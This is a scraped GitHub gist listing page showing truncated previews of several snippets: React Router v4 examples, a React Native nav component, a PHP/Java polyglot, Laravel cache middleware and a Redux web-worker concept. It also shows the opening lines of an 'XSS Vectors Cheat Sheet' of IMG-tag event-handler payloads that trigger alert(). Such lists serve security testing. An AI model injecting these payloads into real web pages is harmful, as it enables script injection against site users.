Skip to content

Instantly share code, notes, and snippets.

William Oliveira williamoliveira

Block or report user

Report or block williamoliveira

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
kurobeats / xss_vectors.txt
Last active Jan 24, 2020
XSS Vectors Cheat Sheet
View xss_vectors.txt
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
View Nav.js
import React, { Component, PropTypes } from 'react'
import { TouchableHighlight } from 'react-native'
const Nav = ({ to, children, replace=false, }, { router }) => (
onPress={() => {
(replace ? router.replaceWith : router.transitionTo)(to)
jbraithwaite / ControlledRouter.js
Last active Oct 19, 2016 — forked from gaelduplessix/ControlledRouter.js
React Router v4 ControlledRouter
View ControlledRouter.js
// Code taken from:
// gaelduplessix/ControlledRouter.js
import React, { Component } from 'react'
import BrowserHistory from 'react-history/BrowserHistory'
import { Push } from 'react-history'
import { StaticRouter } from 'react-router'
class RouterWrapper extends Component {
View ControlledRouter.js
/*eslint no-console: 0*/
import React, { PropTypes } from 'react'
import { historyContext as historyContextType } from 'react-history/PropTypes'
import StaticRouter from './StaticRouter'
// intitial key is `null` because JSON.stringify turns undefined into null, and
// we use this value as the "initial key"
const initialKeys = [ null ]
const IS_DOM = typeof window !== 'undefined'
acdlite / app.js
Last active Jan 16, 2020
Quick and dirty code splitting with React Router v4
View app.js
// getComponent is a function that returns a promise for a component
// It will not be called until the first mount
function asyncComponent(getComponent) {
return class AsyncComponent extends React.Component {
static Component = null;
state = { Component: AsyncComponent.Component };
componentWillMount() {
if (!this.state.Component) {
getComponent().then(Component => {
forairan /
Last active Jan 15, 2020
This snippet of code is syntactically valid in both PHP and Java, and produces the same output in both.
//*/public class PhpJava { public static void main(String[] args) { System.out.printf("/*%s",
class PhpJava {
static function main() {
"Hello World!");
View app_Http_Middleware_ActionCache.php
namespace App\Http\Middleware;
use Closure;
use App\Services\Cache\ActionCacheManager;
use Symfony\Component\HttpFoundation\ResponseHeaderBag;
* Middleware that will cache controller action responses
tappleby / 0_concept.js
Created Jul 7, 2015
Redux => To web worker
View 0_concept.js
const composedCreateStore = compose(
() => promiseMiddleware,
You can’t perform that action at this time.